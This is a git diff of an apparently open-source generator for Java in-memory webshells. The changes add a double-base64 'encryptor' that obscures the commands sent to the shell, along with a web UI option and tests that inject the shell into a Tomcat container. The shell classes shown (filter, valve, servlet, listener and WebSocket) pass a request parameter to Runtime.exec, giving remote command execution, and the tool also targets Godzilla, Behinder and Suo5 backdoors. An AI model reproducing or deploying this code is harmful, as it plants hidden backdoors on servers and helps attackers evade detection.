diff --git a/boot/src/main/java/com/reajason/javaweb/boot/controller/ConfigController.java b/boot/src/main/java/com/reajason/javaweb/boot/controller/ConfigController.java index 4f3b90d5..512cf8dc 100644 --- a/boot/src/main/java/com/reajason/javaweb/boot/controller/ConfigController.java +++ b/boot/src/main/java/com/reajason/javaweb/boot/controller/ConfigController.java @@ -3,8 +3,10 @@ package com.reajason.javaweb.boot.controller; import com.reajason.javaweb.memshell.Packers; import com.reajason.javaweb.memshell.Server; import com.reajason.javaweb.memshell.ShellTool; +import com.reajason.javaweb.memshell.config.CommandConfig; import com.reajason.javaweb.memshell.server.AbstractShell; import org.springframework.web.bind.annotation.CrossOrigin; +import org.springframework.web.bind.annotation.GetMapping; import org.springframework.web.bind.annotation.RequestMapping; import org.springframework.web.bind.annotation.RestController; @@ -58,4 +60,9 @@ public class ConfigController { } return coreMap; } + + @GetMapping("/command/encryptors") + public List getCommandEncryptors() { + return Arrays.stream(CommandConfig.Encryptor.values()).toList(); + } } \ No newline at end of file diff --git a/boot/src/main/java/com/reajason/javaweb/boot/dto/GenerateRequest.java b/boot/src/main/java/com/reajason/javaweb/boot/dto/GenerateRequest.java index 6dea5a30..548e1af6 100644 --- a/boot/src/main/java/com/reajason/javaweb/boot/dto/GenerateRequest.java +++ b/boot/src/main/java/com/reajason/javaweb/boot/dto/GenerateRequest.java @@ -28,6 +28,7 @@ public class GenerateRequest { private String headerName; private String headerValue; private String shellClassBase64; + private String encryptor; } public ShellToolConfig parseShellToolConfig() { @@ -48,6 +49,7 @@ public class GenerateRequest { case Command -> CommandConfig.builder() .shellClassName(shellToolConfig.getShellClassName()) .paramName(StringUtils.defaultIfBlank(shellToolConfig.getCommandParamName(), CommonUtil.getRandomString(8))) + .encryptor(CommandConfig.Encryptor.fromString(shellToolConfig.getEncryptor())) .build(); case Suo5 -> Suo5Config.builder() .shellClassName(shellToolConfig.getShellClassName()) diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/MemShellGenerator.java b/generator/src/main/java/com/reajason/javaweb/memshell/MemShellGenerator.java index 9f70e85c..abce2131 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/MemShellGenerator.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/MemShellGenerator.java @@ -2,6 +2,7 @@ package com.reajason.javaweb.memshell; import com.reajason.javaweb.memshell.config.*; import com.reajason.javaweb.memshell.generator.*; +import com.reajason.javaweb.memshell.generator.command.CommandGenerator; import com.reajason.javaweb.memshell.server.AbstractShell; import com.reajason.javaweb.memshell.utils.CommonUtil; import org.apache.commons.lang3.StringUtils; diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/config/CommandConfig.java b/generator/src/main/java/com/reajason/javaweb/memshell/config/CommandConfig.java index 85907532..6e4599bf 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/config/CommandConfig.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/config/CommandConfig.java @@ -16,4 +16,18 @@ import lombok.experimental.SuperBuilder; public class CommandConfig extends ShellToolConfig { @Builder.Default private String paramName = CommonUtil.getRandomString(8); + + @Builder.Default + private Encryptor encryptor = Encryptor.RAW; + + public enum Encryptor { + RAW, DOUBLE_BASE64; + + public static Encryptor fromString(String encryptor) { + if (encryptor != null && encryptor.equals("DOUBLE_BASE64")) { + return DOUBLE_BASE64; + } + return RAW; + } + } } diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/generator/CommandGenerator.java b/generator/src/main/java/com/reajason/javaweb/memshell/generator/CommandGenerator.java deleted file mode 100644 index f0d51f6c..00000000 --- a/generator/src/main/java/com/reajason/javaweb/memshell/generator/CommandGenerator.java +++ /dev/null @@ -1,72 +0,0 @@ -package com.reajason.javaweb.memshell.generator; - -import com.reajason.javaweb.ClassBytesShrink; -import com.reajason.javaweb.buddy.LdcReAssignVisitorWrapper; -import com.reajason.javaweb.buddy.LogRemoveMethodVisitor; -import com.reajason.javaweb.buddy.ServletRenameVisitorWrapper; -import com.reajason.javaweb.buddy.TargetJreVersionVisitorWrapper; -import com.reajason.javaweb.memshell.ShellType; -import com.reajason.javaweb.memshell.config.CommandConfig; -import com.reajason.javaweb.memshell.config.ShellConfig; -import net.bytebuddy.ByteBuddy; -import net.bytebuddy.dynamic.DynamicType; -import org.apache.commons.lang3.StringUtils; - -import java.util.HashMap; - -import static net.bytebuddy.matcher.ElementMatchers.named; - -/** - * @author ReaJason - * @since 2024/11/24 - */ -public class CommandGenerator { - private final ShellConfig shellConfig; - private final CommandConfig commandConfig; - - public CommandGenerator(ShellConfig shellConfig, CommandConfig commandConfig) { - this.shellConfig = shellConfig; - this.commandConfig = commandConfig; - } - - public DynamicType.Builder getBuilder() { - if (commandConfig.getShellClass() == null) { - throw new IllegalArgumentException("commandConfig.getClazz() == null"); - } - - DynamicType.Builder builder = new ByteBuddy() - .redefine(commandConfig.getShellClass()) - .name(commandConfig.getShellClassName()) - .visit(new TargetJreVersionVisitorWrapper(shellConfig.getTargetJreVersion())); - - if (shellConfig.isJakarta()) { - builder = builder.visit(ServletRenameVisitorWrapper.INSTANCE); - } - - if (shellConfig.isDebugOff()) { - builder = LogRemoveMethodVisitor.extend(builder); - } - - String shellType = shellConfig.getShellType(); - if (!ShellType.WEBSOCKET.equals(shellType)) { - if (StringUtils.startsWith(shellType, ShellType.AGENT)) { - builder = builder.visit( - new LdcReAssignVisitorWrapper(new HashMap(1) {{ - put("paramName", commandConfig.getParamName()); - }}) - ); - } else { - builder = builder.field(named("paramName")).value(commandConfig.getParamName()); - } - } - - return builder; - } - - public byte[] getBytes() { - DynamicType.Builder builder = getBuilder(); - try (DynamicType.Unloaded make = builder.make()) { - return ClassBytesShrink.shrink(make.getBytes(), shellConfig.isShrink()); - } - } -} \ No newline at end of file diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/generator/command/CommandGenerator.java b/generator/src/main/java/com/reajason/javaweb/memshell/generator/command/CommandGenerator.java new file mode 100644 index 00000000..82582d68 --- /dev/null +++ b/generator/src/main/java/com/reajason/javaweb/memshell/generator/command/CommandGenerator.java @@ -0,0 +1,92 @@ +package com.reajason.javaweb.memshell.generator.command; + +import com.reajason.javaweb.ClassBytesShrink; +import com.reajason.javaweb.buddy.*; +import com.reajason.javaweb.memshell.ShellType; +import com.reajason.javaweb.memshell.config.CommandConfig; +import com.reajason.javaweb.memshell.config.ShellConfig; +import com.reajason.javaweb.memshell.utils.ShellCommonUtil; +import net.bytebuddy.ByteBuddy; +import net.bytebuddy.asm.Advice; +import net.bytebuddy.asm.AsmVisitorWrapper; +import net.bytebuddy.description.modifier.Ownership; +import net.bytebuddy.description.modifier.Visibility; +import net.bytebuddy.dynamic.DynamicType; +import net.bytebuddy.implementation.FixedValue; +import org.apache.commons.lang3.StringUtils; + +import java.util.Collections; +import java.util.HashMap; + +import static net.bytebuddy.matcher.ElementMatchers.named; + +/** + * @author ReaJason + * @since 2024/11/24 + */ +public class CommandGenerator { + private final ShellConfig shellConfig; + private final CommandConfig commandConfig; + + public CommandGenerator(ShellConfig shellConfig, CommandConfig commandConfig) { + this.shellConfig = shellConfig; + this.commandConfig = commandConfig; + } + + public DynamicType.Builder getBuilder() { + if (commandConfig.getShellClass() == null) { + throw new IllegalArgumentException("commandConfig.getClazz() == null"); + } + + DynamicType.Builder builder = new ByteBuddy() + .redefine(commandConfig.getShellClass()) + .name(commandConfig.getShellClassName()) + .visit(new TargetJreVersionVisitorWrapper(shellConfig.getTargetJreVersion())); + + if (shellConfig.isJakarta()) { + builder = builder.visit(ServletRenameVisitorWrapper.INSTANCE); + } + + if (shellConfig.isDebugOff()) { + builder = LogRemoveMethodVisitor.extend(builder); + } + + String shellType = shellConfig.getShellType(); + + if (StringUtils.startsWith(shellType, ShellType.AGENT)) { + builder = builder.visit( + new LdcReAssignVisitorWrapper(new HashMap(1) {{ + put("paramName", commandConfig.getParamName()); + }}) + ); + } else if (!ShellType.WEBSOCKET.equals(shellType)) { + builder = builder.field(named("paramName")) + .value(commandConfig.getParamName()); + } + + if (CommandConfig.Encryptor.DOUBLE_BASE64.equals(commandConfig.getEncryptor())) { + builder = builder + .visit(new AsmVisitorWrapper.ForDeclaredMethods() + .method(named("getParam"), + new MethodCallReplaceVisitorWrapper( + commandConfig.getShellClassName(), + Collections.singleton(ShellCommonUtil.class.getName())) + ) + ) + .defineMethod("base64DecodeToString", String.class, Visibility.PUBLIC, Ownership.STATIC) + .withParameters(String.class) + .intercept(FixedValue.nullValue()) + .visit(Advice.to(ShellCommonUtil.Base64DecodeToStringInterceptor.class).on(named("base64DecodeToString"))) + .visit(Advice.to(DoubleBase64ParamInterceptor.class).on(named("getParam"))); + } + + return builder; + } + + public byte[] getBytes() { + DynamicType.Builder builder = getBuilder(); + try (DynamicType.Unloaded make = builder.make()) { + return ClassBytesShrink.shrink(make.getBytes(), shellConfig.isShrink()); + } + } +} \ No newline at end of file diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/generator/command/DoubleBase64ParamInterceptor.java b/generator/src/main/java/com/reajason/javaweb/memshell/generator/command/DoubleBase64ParamInterceptor.java new file mode 100644 index 00000000..672a680f --- /dev/null +++ b/generator/src/main/java/com/reajason/javaweb/memshell/generator/command/DoubleBase64ParamInterceptor.java @@ -0,0 +1,16 @@ +package com.reajason.javaweb.memshell.generator.command; + +import com.reajason.javaweb.memshell.utils.ShellCommonUtil; +import net.bytebuddy.asm.Advice; + +/** + * @author ReaJason + * @since 2025/4/27 + */ +public class DoubleBase64ParamInterceptor { + + @Advice.OnMethodExit + public static void enter(@Advice.Argument(value = 0) String param, @Advice.Return(readOnly = false) String returnValue) { + returnValue = ShellCommonUtil.base64DecodeToString(ShellCommonUtil.base64DecodeToString(param)); + } +} diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/utils/ShellCommonUtil.java b/generator/src/main/java/com/reajason/javaweb/memshell/utils/ShellCommonUtil.java index 67301a9b..060a095d 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/utils/ShellCommonUtil.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/utils/ShellCommonUtil.java @@ -74,7 +74,7 @@ public class ShellCommonUtil { } catch (Exception ignored) { } } - return value == null ? "" : new String(value); + return value == null ? null : new String(value); } public static class Base64DecodeToStringInterceptor { @@ -96,7 +96,7 @@ public class ShellCommonUtil { } catch (Exception ignored) { } } - returnValue = value == null ? "" : new String(value); + returnValue = value == null ? null : new String(value); } } } diff --git a/generator/src/test/java/com/reajason/javaweb/memshell/tomcat/command/CommandFilterTest.java b/generator/src/test/java/com/reajason/javaweb/memshell/tomcat/command/CommandFilterTest.java index 1053403c..76d976a5 100644 --- a/generator/src/test/java/com/reajason/javaweb/memshell/tomcat/command/CommandFilterTest.java +++ b/generator/src/test/java/com/reajason/javaweb/memshell/tomcat/command/CommandFilterTest.java @@ -1,13 +1,16 @@ package com.reajason.javaweb.memshell.tomcat.command; -import com.reajason.javaweb.memshell.ShellType; +import com.reajason.javaweb.memshell.*; import com.reajason.javaweb.memshell.config.CommandConfig; +import com.reajason.javaweb.memshell.config.GenerateResult; +import com.reajason.javaweb.memshell.config.InjectorConfig; import com.reajason.javaweb.memshell.config.ShellConfig; -import com.reajason.javaweb.memshell.generator.CommandGenerator; +import com.reajason.javaweb.memshell.generator.command.CommandGenerator; import com.reajason.javaweb.memshell.shelltool.command.CommandFilter; import com.reajason.javaweb.memshell.shelltool.command.CommandListener; import com.reajason.javaweb.memshell.shelltool.command.CommandValve; import com.reajason.javaweb.util.ClassUtils; +import org.junit.jupiter.api.Test; import org.junit.jupiter.params.ParameterizedTest; import org.junit.jupiter.params.provider.Arguments; import org.junit.jupiter.params.provider.MethodSource; @@ -36,15 +39,37 @@ class CommandFilterTest { @MethodSource("casesProvider") void generate(String shellType, Class clazz, String className) { ShellConfig generateConfig = new ShellConfig(); - CommandConfig shellConfig = CommandConfig.builder() + CommandConfig commandConfig = CommandConfig.builder() .shellClass(clazz) .shellClassName(className) .paramName("cmd") .build(); generateConfig.setShellType(shellType); - byte[] bytes = new CommandGenerator(generateConfig, shellConfig).getBytes(); + byte[] bytes = new CommandGenerator(generateConfig, commandConfig).getBytes(); Object obj = ClassUtils.newInstance(bytes); - assertEquals(shellConfig.getShellClassName(), obj.getClass().getName()); - assertEquals(shellConfig.getParamName(), ClassUtils.getFieldValue(obj, "paramName")); + assertEquals(commandConfig.getShellClassName(), obj.getClass().getName()); + assertEquals(commandConfig.getParamName(), ClassUtils.getFieldValue(obj, "paramName")); + } + + @Test + void testGenerator() throws Exception { + ShellConfig shellConfig = ShellConfig.builder() + .server(Server.Tomcat) + .shellType(ShellType.FILTER) + .shellTool(ShellTool.Command) + .build(); + + CommandConfig commandConfig = CommandConfig.builder() + .shellClass(CommandFilter.class) + .shellClassName("org.apache.utils.CommandFilter") + .paramName("cmd") + .encryptor(CommandConfig.Encryptor.DOUBLE_BASE64) + .build(); + InjectorConfig injectorConfig = new InjectorConfig(); + + GenerateResult generate = MemShellGenerator.generate(shellConfig, injectorConfig, commandConfig); +// Files.write(Paths.get("hehe.class"), generate.getShellBytes()); + String pack = Packers.ScriptEngine.getInstance().pack(generate); + System.out.println(pack); } } \ No newline at end of file diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/ShellAssertionTool.java b/integration-test/src/test/java/com/reajason/javaweb/integration/ShellAssertionTool.java index d3c1e257..ed16d308 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/ShellAssertionTool.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/ShellAssertionTool.java @@ -20,6 +20,7 @@ import org.testcontainers.containers.GenericContainer; import org.testcontainers.shaded.org.apache.commons.io.FileUtils; import org.testcontainers.shaded.org.apache.commons.lang3.RandomStringUtils; import org.testcontainers.shaded.org.apache.commons.lang3.StringUtils; +import org.testcontainers.shaded.org.apache.commons.lang3.tuple.Pair; import org.testcontainers.utility.MountableFile; import java.io.IOException; @@ -53,9 +54,8 @@ public class ShellAssertionTool { } @SneakyThrows - public static void testShellInjectAssertOk(String url, Server server, String shellType, ShellTool shellTool, int targetJdkVersion, Packers packer, GenericContainer appContainer, GenericContainer pythonContainer) { + public static Pair getUrls(String url, String shellType, ShellTool shellTool, Packers packer) { String shellUrl = url + "/test"; - String urlPattern = null; if (shellType.endsWith(ShellType.SERVLET) || shellType.endsWith(ShellType.SPRING_WEBMVC_CONTROLLER_HANDLER) @@ -71,9 +71,26 @@ public class ShellAssertionTool { URL url1 = new URL(url); shellUrl = "ws://" + url1.getHost() + ":" + url1.getPort() + url1.getPath() + urlPattern; } + return Pair.of(shellUrl, urlPattern); + } - GenerateResult generateResult = generate(urlPattern, server, shellType, shellTool, targetJdkVersion, packer); + @SneakyThrows + public static void testShellInjectAssertOk(String url, Server server, String shellType, ShellTool shellTool, int targetJdkVersion, Packers packer, GenericContainer appContainer, GenericContainer pythonContainer) { + Pair urls = getUrls(url, shellType, shellTool, packer); + String shellUrl = urls.getLeft(); + String urlPattern = urls.getRight(); + ShellToolConfig shellToolConfig = getShellToolConfig(shellType, shellTool, packer); + + GenerateResult generateResult = generate(urlPattern, server, shellType, shellTool, targetJdkVersion, shellToolConfig); + + packerResultAndInject(generateResult, url, shellTool, shellType, packer, appContainer); + + assertShellIsOk(generateResult, shellUrl, shellTool, shellType, appContainer, pythonContainer); + } + + @SneakyThrows + public static void packerResultAndInject(GenerateResult generateResult, String url, ShellTool shellTool, String shellType, Packers packer, GenericContainer appContainer) { String content = null; if (packer.getInstance() instanceof JarPacker) { byte[] bytes = ((JarPacker) packer.getInstance()).packBytes(generateResult); @@ -96,16 +113,19 @@ public class ShellAssertionTool { assertInjectIsOk(url, shellType, shellTool, content, packer, appContainer); log.info("send inject payload successfully"); } + } + @SneakyThrows + public static void assertShellIsOk(GenerateResult generateResult, String shellUrl, ShellTool shellTool, String shellType, GenericContainer appContainer, GenericContainer pythonContainer) { switch (shellTool) { case Godzilla: testGodzillaIsOk(shellUrl, ((GodzillaConfig) generateResult.getShellToolConfig())); break; case Command: if (shellType.endsWith(ShellType.WEBSOCKET)) { - testWebSocketCommandIsOk(shellUrl, ((CommandConfig) generateResult.getShellToolConfig())); + testWebSocketCommandIsOk(shellUrl, "id"); } else { - testCommandIsOk(shellUrl, ((CommandConfig) generateResult.getShellToolConfig())); + testCommandIsOk(shellUrl, ((CommandConfig) generateResult.getShellToolConfig()), "id"); } break; case Behinder: @@ -144,11 +164,11 @@ public class ShellAssertionTool { } @SneakyThrows - public static void testCommandIsOk(String entrypoint, CommandConfig shellConfig) { + public static void testCommandIsOk(String entrypoint, CommandConfig shellConfig, String payload) { OkHttpClient okHttpClient = new OkHttpClient(); HttpUrl url = Objects.requireNonNull(HttpUrl.parse(entrypoint)) .newBuilder() - .addQueryParameter(shellConfig.getParamName(), "id") + .addQueryParameter(shellConfig.getParamName(), payload) .build(); Request request = new Request.Builder() .url(url) @@ -161,7 +181,8 @@ public class ShellAssertionTool { } } - public static void testWebSocketCommandIsOk(String entrypoint, CommandConfig shellConfig) throws Exception { + @SneakyThrows + public static void testWebSocketCommandIsOk(String entrypoint, String payload) { final CountDownLatch latch = new CountDownLatch(1); final String[] responseHolder = new String[1]; final long timeout = 5; @@ -169,7 +190,7 @@ public class ShellAssertionTool { WebSocketClient client = new WebSocketClient(new URI(entrypoint)) { @Override public void onOpen(ServerHandshake data) { - send("id"); + send(payload); } @Override @@ -220,22 +241,7 @@ public class ShellAssertionTool { assertTrue(antSwordManager.getInfo().contains("ok")); } - public static GenerateResult generate(String urlPattern, Server server, String shellType, ShellTool shellTool, int targetJdkVersion, Packers packer) { - InjectorConfig injectorConfig = new InjectorConfig(); - if (StringUtils.isNotBlank(urlPattern)) { - injectorConfig.setUrlPattern(urlPattern); - } - - ShellConfig shellConfig = ShellConfig.builder() - .server(server) - .shellTool(shellTool) - .shellType(shellType) - .targetJreVersion(targetJdkVersion) - .byPassJavaModule(targetJdkVersion >= Opcodes.V9) - .debug(true) - .shrink(true) - .build(); - + public static ShellToolConfig getShellToolConfig(String shellType, ShellTool shellTool, Packers packer) { ShellToolConfig shellToolConfig = null; String uniqueName = shellTool + RandomStringUtils.randomAlphabetic(5) + shellType + RandomStringUtils.randomAlphabetic(5) + packer.name(); switch (shellTool) { @@ -287,6 +293,24 @@ public class ShellAssertionTool { log.info("generated {} NeoreGeorg with Referer: {}", shellType, uniqueName); break; } + return shellToolConfig; + } + + public static GenerateResult generate(String urlPattern, Server server, String shellType, ShellTool shellTool, int targetJdkVersion, ShellToolConfig shellToolConfig) { + InjectorConfig injectorConfig = new InjectorConfig(); + if (StringUtils.isNotBlank(urlPattern)) { + injectorConfig.setUrlPattern(urlPattern); + } + + ShellConfig shellConfig = ShellConfig.builder() + .server(server) + .shellTool(shellTool) + .shellType(shellType) + .targetJreVersion(targetJdkVersion) + .byPassJavaModule(targetJdkVersion >= Opcodes.V9) + .debug(true) + .shrink(true) + .build(); return MemShellGenerator.generate(shellConfig, injectorConfig, shellToolConfig); } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat8CommandEncryptorContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat8CommandEncryptorContainerTest.java new file mode 100644 index 00000000..fb2fbe4d --- /dev/null +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat8CommandEncryptorContainerTest.java @@ -0,0 +1,91 @@ +package com.reajason.javaweb.integration.tomcat; + +import com.reajason.javaweb.integration.ShellAssertionTool; +import com.reajason.javaweb.memshell.Packers; +import com.reajason.javaweb.memshell.Server; +import com.reajason.javaweb.memshell.ShellTool; +import com.reajason.javaweb.memshell.ShellType; +import com.reajason.javaweb.memshell.config.CommandConfig; +import com.reajason.javaweb.memshell.config.GenerateResult; +import com.reajason.javaweb.memshell.config.ShellToolConfig; +import lombok.extern.slf4j.Slf4j; +import net.bytebuddy.jar.asm.Opcodes; +import org.junit.jupiter.api.AfterAll; +import org.junit.jupiter.params.ParameterizedTest; +import org.junit.jupiter.params.provider.Arguments; +import org.junit.jupiter.params.provider.MethodSource; +import org.testcontainers.containers.GenericContainer; +import org.testcontainers.containers.wait.strategy.Wait; +import org.testcontainers.junit.jupiter.Container; +import org.testcontainers.junit.jupiter.Testcontainers; +import org.testcontainers.shaded.org.apache.commons.lang3.RandomStringUtils; +import org.testcontainers.shaded.org.apache.commons.lang3.tuple.Pair; + +import java.util.Base64; +import java.util.stream.Stream; + +import static com.reajason.javaweb.integration.ContainerTool.getUrl; +import static com.reajason.javaweb.integration.ContainerTool.warFile; +import static com.reajason.javaweb.integration.DoesNotContainExceptionMatcher.doesNotContainException; +import static org.hamcrest.MatcherAssert.assertThat; +import static org.junit.jupiter.params.provider.Arguments.arguments; + +/** + * @author ReaJason + * @since 2025/4/28 + */ +@Testcontainers +@Slf4j +public class Tomcat8CommandEncryptorContainerTest { + public static final String imageName = "tomcat:8-jre8"; + + @Container + public final static GenericContainer container = new GenericContainer<>(imageName) + .withCopyToContainer(warFile, "/usr/local/tomcat/webapps/app.war") + .waitingFor(Wait.forHttp("/app")) + .withExposedPorts(8080); + + static Stream casesProvider() { + return Stream.of( + arguments(imageName, ShellType.FILTER, ShellTool.Command, Packers.JSP), + arguments(imageName, ShellType.LISTENER, ShellTool.Command, Packers.JSP), + arguments(imageName, ShellType.VALVE, ShellTool.Command, Packers.JSP), + arguments(imageName, ShellType.WEBSOCKET, ShellTool.Command, Packers.JSP) + ); + } + + @AfterAll + static void tearDown() { + String logs = container.getLogs(); + log.info(logs); + assertThat("Logs should not contain any exceptions", logs, doesNotContainException()); + } + + @ParameterizedTest(name = "{0}|{1}{2}|{3}") + @MethodSource("casesProvider") + void test(String imageName, String shellType, ShellTool shellTool, Packers packer) { + String url = getUrl(container); + + Pair urls = ShellAssertionTool.getUrls(url, shellType, shellTool, packer); + String shellUrl = urls.getLeft(); + String urlPattern = urls.getRight(); + + String uniqueName = shellTool + RandomStringUtils.randomAlphabetic(5) + shellType + RandomStringUtils.randomAlphabetic(5) + packer.name(); + + ShellToolConfig shellToolConfig = CommandConfig.builder() + .paramName(uniqueName) + .encryptor(CommandConfig.Encryptor.DOUBLE_BASE64) + .build(); + + GenerateResult generateResult = ShellAssertionTool.generate(urlPattern, Server.Tomcat, shellType, shellTool, Opcodes.V1_8, shellToolConfig); + + ShellAssertionTool.packerResultAndInject(generateResult, url, shellTool, shellType, packer, container); + + String payload = Base64.getEncoder().encodeToString(Base64.getEncoder().encode("id".getBytes())); + if (shellType.endsWith(ShellType.WEBSOCKET)) { + ShellAssertionTool.testWebSocketCommandIsOk(shellUrl, payload); + } else { + ShellAssertionTool.testCommandIsOk(shellUrl, ((CommandConfig) generateResult.getShellToolConfig()), payload); + } + } +} diff --git a/memshell-party-common/src/test/java/com/reajason/javaweb/util/ClassUtilsTest.java b/memshell-party-common/src/test/java/com/reajason/javaweb/util/ClassUtilsTest.java index cd4f7e91..662b0f46 100644 --- a/memshell-party-common/src/test/java/com/reajason/javaweb/util/ClassUtilsTest.java +++ b/memshell-party-common/src/test/java/com/reajason/javaweb/util/ClassUtilsTest.java @@ -1,12 +1,12 @@ package com.reajason.javaweb.util; -import java.util.Base64;; import org.junit.jupiter.api.Disabled; import org.junit.jupiter.api.Test; import java.io.IOException; import java.nio.file.Files; import java.nio.file.Paths; +import java.util.Base64; /** * @author ReaJason diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandFilter.java b/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandFilter.java index 57e98c75..218a7c3d 100644 --- a/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandFilter.java +++ b/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandFilter.java @@ -18,11 +18,15 @@ public class CommandFilter implements Filter { } + public String getParam(String param) { + return param; + } + @Override public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException { HttpServletRequest servletRequest = (HttpServletRequest) request; HttpServletResponse servletResponse = (HttpServletResponse) response; - String cmd = servletRequest.getParameter(paramName); + String cmd = getParam(servletRequest.getParameter(paramName)); if (cmd != null) { Process exec = Runtime.getRuntime().exec(cmd); InputStream inputStream = exec.getInputStream(); diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandListener.java b/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandListener.java index 905239c5..354e0491 100644 --- a/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandListener.java +++ b/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandListener.java @@ -21,11 +21,15 @@ public class CommandListener implements ServletRequestListener { } + public String getParam(String param) { + return param; + } + @Override public void requestInitialized(ServletRequestEvent servletRequestEvent) { HttpServletRequest request = (HttpServletRequest) servletRequestEvent.getServletRequest(); try { - String cmd = request.getParameter(paramName); + String cmd = getParam(request.getParameter(paramName)); if (cmd != null) { HttpServletResponse servletResponse = this.getResponseFromRequest(request); Process exec = Runtime.getRuntime().exec(cmd); diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandServlet.java b/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandServlet.java index bedfad7f..d5ca751e 100644 --- a/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandServlet.java +++ b/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandServlet.java @@ -20,9 +20,13 @@ public class CommandServlet extends HttpServlet { doPost(req, resp); } + public String getParam(String param) { + return param; + } + @Override protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException { - String cmd = request.getParameter(paramName); + String cmd = getParam(request.getParameter(paramName)); if (cmd != null) { Process exec = Runtime.getRuntime().exec(cmd); InputStream inputStream = exec.getInputStream(); diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandValve.java b/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandValve.java index 2f1d97ab..e13b31c8 100644 --- a/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandValve.java +++ b/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandValve.java @@ -39,9 +39,13 @@ public class CommandValve implements Valve { public void backgroundProcess() { } + public String getParam(String param) { + return param; + } + @Override public void invoke(Request request, Response response) throws IOException, ServletException { - String cmd = request.getParameter(paramName); + String cmd = getParam(request.getParameter(paramName)); if (cmd != null) { Process exec = Runtime.getRuntime().exec(cmd); InputStream inputStream = exec.getInputStream(); diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandWebSocket.java b/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandWebSocket.java index 1d0b81b8..003e25f5 100644 --- a/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandWebSocket.java +++ b/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandWebSocket.java @@ -4,6 +4,7 @@ import javax.websocket.Endpoint; import javax.websocket.EndpointConfig; import javax.websocket.MessageHandler; import javax.websocket.Session; +import java.io.ByteArrayOutputStream; import java.io.InputStream; /** @@ -16,25 +17,22 @@ public class CommandWebSocket extends Endpoint implements MessageHandler.Whole; shellTypes: Array }>) { const { t } = useTranslation(); + const { data } = useQuery>({ + queryKey: ["commandEncryptor"], + queryFn: async () => { + const response = await fetch(`${env.API_URL}/config/command/encryptors`); + return await response.json(); + }, + }); + const rawEncryptors = data ?? []; + const [encryptors, setEncryptors] = useState>(rawEncryptors); + + const shellType = form.watch("shellType"); + + useEffect(() => { + if (shellType.startsWith("Agent")) { + setEncryptors(["RAW"]); + } else { + setEncryptors(rawEncryptors); + } + }, [shellType, rawEncryptors]); + return ( @@ -23,20 +47,45 @@ export function CommandTabContent({ - ( - - - {t("shellToolConfig.paramName")} {t("optional")} - - - - - - )} - /> +
+ ( + + + {t("shellToolConfig.paramName")} {t("optional")} + + + + + + )} + /> + ( + + {t("shellToolConfig.encryptor")} + + + )} + /> +
diff --git a/web/src/i18n/en.json b/web/src/i18n/en.json index 6e913ec7..0ce30a20 100644 --- a/web/src/i18n/en.json +++ b/web/src/i18n/en.json @@ -108,7 +108,8 @@ "paramName": "Param Name", "pass": "Pass", "suo5Header": "AdvanceConfiguration -> Request Header", - "base64String": "Shell Class" + "base64String": "Shell Class", + "encryptor": "Encryptor" }, "success": { "generated": "Generation successful" diff --git a/web/src/i18n/zh-CN.json b/web/src/i18n/zh-CN.json index b088cfcf..20b40022 100644 --- a/web/src/i18n/zh-CN.json +++ b/web/src/i18n/zh-CN.json @@ -108,7 +108,8 @@ "paramName": "请求参数", "pass": "密码", "suo5Header": "高级配置 -> 请求头", - "base64String": "内存马类" + "base64String": "内存马类", + "encryptor": "加密器" }, "success": { "generated": "生成成功" diff --git a/web/src/types/schema.ts b/web/src/types/schema.ts index 336464e6..7ec5cdee 100644 --- a/web/src/types/schema.ts +++ b/web/src/types/schema.ts @@ -20,6 +20,7 @@ export const formSchema = z.object({ packingMethod: z.string().min(1), shrink: z.optional(z.boolean()), shellClassBase64: z.optional(z.string()), + encryptor: z.optional(z.string()), }); export type FormSchema = z.infer; diff --git a/web/src/types/shell.ts b/web/src/types/shell.ts index b88897d1..dec3d14f 100644 --- a/web/src/types/shell.ts +++ b/web/src/types/shell.ts @@ -19,6 +19,7 @@ export interface ShellToolConfig { headerName?: string; headerValue?: string; shellClassBase64?: string; + encryptor?: string; } export interface CommandShellToolConfig { diff --git a/web/src/utils/transformer.ts b/web/src/utils/transformer.ts index 1ae52dc5..9817df5d 100644 --- a/web/src/utils/transformer.ts +++ b/web/src/utils/transformer.ts @@ -43,6 +43,7 @@ 